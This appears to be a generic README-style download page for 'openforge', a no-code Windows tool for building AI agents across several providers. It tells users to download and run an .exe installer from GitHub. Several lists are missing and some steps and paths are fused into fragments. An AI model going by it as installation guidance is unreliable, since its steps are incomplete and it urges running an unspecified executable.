Build AI agents that integrate tools, connect to MCP servers, and support multiple AI providers through portable JSON manifests.
openforge lets you create and run AI agents without any coding skills. It works with popular AI providers like OpenAI, Anthropic, Gemini, and Ollama. These AI agents can help you automate tasks or answer questions using custom tools and smart calls.
You only need basic computer skills to use openforge. Just download, install, and run the program on your Windows computer.
Before you begin, check your computer meets these minimum specs:
Having these specs ensures openforge runs smoothly.
Follow these steps to get openforge working on your Windows PC:
Click the big button below to go to the download page:
This will take you to the GitHub repository where you can download the latest version.
On the GitHub page, scroll to the Releases section or look for a folder or link named something like openforge-installer.exe. The installer is the file you need to run. It should have a .exe extension.
.exe file. You do not need to change any settings unless you want to install in a specific folder.
Once the setup finishes, find the openforge shortcut on your desktop or in the Start Menu. Click it to open the program.
openforge guides you through building AI agents step-by-step. Here is what to expect:
The program uses simple menus and buttons to help you build agents without typing code.
Check the openforge GitHub page regularly for new updates. New releases fix bugs and add features. To update:
Your settings and created agents will stay intact.
openforge supports several options like OpenAI and Anthropic. Each offers different capabilities. Start with OpenAI for broad support. You can switch later in settings.
Yes. These AI services usually require an account and some credits or subscription. openforge connects to them through your API keys. You can get keys from the provider’s website and enter them in openforge’s settings.
No. The AI agents work by calling online AI models. Without internet, openforge cannot connect to those services.
All agent files are saved locally in a folder called openforge_agents inside your Documents folder. You can back up or share these files anytime.
C:\Program Files\openforge by default. Documents\openforge_agents.Knowing these helps if you need to move or delete files manually.
If you want to remove openforge:
This removes the program but leaves your saved agent files intact. Delete openforge_agents manually if you want to remove those too.
For help, visit the Issues tab on the GitHub page. You can search for existing answers or create a new issue describing your problem.
Run openforge on your Windows machine and start creating AI agents in minutes.
Download openforge to begin now.
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